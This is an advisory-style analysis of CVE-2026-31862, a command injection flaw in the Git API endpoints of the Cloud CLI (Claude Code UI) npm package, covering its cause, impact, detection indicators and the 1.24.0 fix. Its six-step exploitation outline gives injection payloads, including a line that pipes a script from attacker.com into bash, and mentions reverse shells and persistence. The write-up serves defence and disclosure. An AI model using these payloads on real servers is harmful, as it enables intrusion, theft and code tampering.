CVE-2026-31862: 
JavaScript vulnerability analysis and mitigation

CVE-2026-31862 is an OS command injection vulnerability in Cloud CLI (also known as Claude Code UI), a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Multiple Git-related API endpoints in server/routes/git.js pass user-controlled parameters directly into shell command strings via execAsync() without adequate sanitization, enabling authenticated attackers to execute arbitrary OS commands. All versions up to and including 1.23.0 of the npm package @siteboon/claudecodeui are affected; the issue was disclosed and patched on March 9, 2026. The CVSS v3.1 base score is 9.1 (Critical) per the GitHub Security Advisory, or 8.8 (High) per NVD (Github Advisory, GitHub Security Advisory).

The root cause is improper neutralization of special elements used in OS commands (CWE-78 / CWE-77). In server/routes/git.js, user-supplied parameters such as file, branch, message, and commit are interpolated directly into template literal strings passed to Node.js's execAsync() (which invokes a shell), e.g., `git show ${commit}` and `git status --porcelain "${file}"`. Although the application attempts to escape double quotes in some parameters (e.g., message.replace(/"/g, '\"')), this protection is trivially bypassed using shell metacharacters such as command substitution ($(command) or `command`), command chaining (;, &&, ||), and newline characters. Affected endpoints include GET /api/git/diff, GET /api/git/status, POST /api/git/commit, POST /api/git/checkout, POST /api/git/create-branch, GET /api/git/commits, and GET /api/git/commit-diff (Github Advisory, GitHub Security Advisory).

Successful exploitation allows an authenticated attacker to execute arbitrary OS commands with the privileges of the Node.js server process, resulting in full server compromise. Consequences include unauthorized access to sensitive data (confidentiality), modification or deletion of files and committed source code (integrity), and potential denial of service (availability). The changed scope in the CVSS vector reflects that a compromised server can affect resources beyond the application itself, enabling lateral movement within the network and supply chain attacks by injecting malware into committed code (Github Advisory, Feedly).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure (Feedly). The vulnerability requires authentication (low or high privilege depending on the scoring source), but the attack complexity is low and no user interaction is needed. The EPSS score is approximately 0.044–0.082%, placing it in the 24th percentile for exploitation likelihood within 30 days (Github Advisory). The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection coverage exists via Qualys (detection ID 5008992) (Feedly).

1. Authenticate: Obtain valid credentials for the Cloud CLI application (any authenticated user account is sufficient).
2. Identify vulnerable endpoint: Target one of the affected Git API endpoints, such as GET /api/git/commit-diff?commit=<payload> or POST /api/git/commit with a crafted message or files[] parameter.
3. Craft injection payload: Construct a payload using shell metacharacters that bypass the double-quote escaping, for example using command substitution: $(id > /tmp/pwned) or backtick syntax `curl http://attacker.com/shell.sh | bash`.
4. Inject via unquoted parameter: For the GET /api/git/commit-diff endpoint, the commit parameter is passed with no quotes at all (`git show ${commit}`), making injection trivial — e.g., commit=abc123;id.
5. Achieve code execution: The injected command executes server-side as the Node.js process user, enabling reverse shell establishment, data exfiltration, or modification of source code in the repository.
6. Persist or escalate: Use the shell access to establish persistence (e.g., cron jobs, SSH keys), exfiltrate credentials, or inject malicious code into the managed repository for supply chain impact (Github Advisory, GitHub Security Advisory).

• Network: Unexpected outbound connections from the Node.js server process to external IPs or domains; HTTP requests to Git API endpoints (/api/git/diff, /api/git/status, /api/git/commit, /api/git/checkout, /api/git/create-branch, /api/git/commits, /api/git/commit-diff) containing shell metacharacters ($(), backticks, ;, &&, ||) in query parameters or request bodies.
• Logs: Application access logs showing requests to Git endpoints with encoded or unusual parameter values; Node.js error logs indicating unexpected command execution or process spawning.
• File System: Unexpected files created in /tmp or other world-writable directories by the Node.js process; new or modified files in the application's project directories; unauthorized SSH keys added to ~/.ssh/authorized_keys.
• Process: Unusual child processes spawned by the Node.js server (e.g., /bin/bash, curl, wget, python, nc) visible in process trees; unexpected cron jobs or scheduled tasks created under the application's service account.

The vendor released version 1.24.0 on March 9, 2026, which fixes all affected endpoints by replacing execAsync() calls with a spawnAsync() helper that uses child_process.spawn with shell: false, passing arguments as arrays directly to the OS so shell metacharacters are inert. A strict allowlist regex (/^[0-9a-f]{4,64}$/i) was also added to validate the commit parameter before use. Users should upgrade the @siteboon/claudecodeui npm package to version 1.24.0 or later immediately. As a temporary workaround for systems that cannot be upgraded, restrict network access to the Cloud CLI instance to trusted users only and monitor for suspicious Git API calls and unexpected process activity (Github Advisory, v1.24.0 Release).

The vulnerability was noted in a Reddit r/netsec thread covering 22 security advisories related to AI/ML tools, reflecting broader community interest in security issues affecting AI development tooling (Reddit). Wazuh also referenced the vulnerability in a social media post, suggesting it was picked up by security monitoring vendors (Feedly). No major vendor statements or prominent researcher commentary beyond the advisory itself have been identified.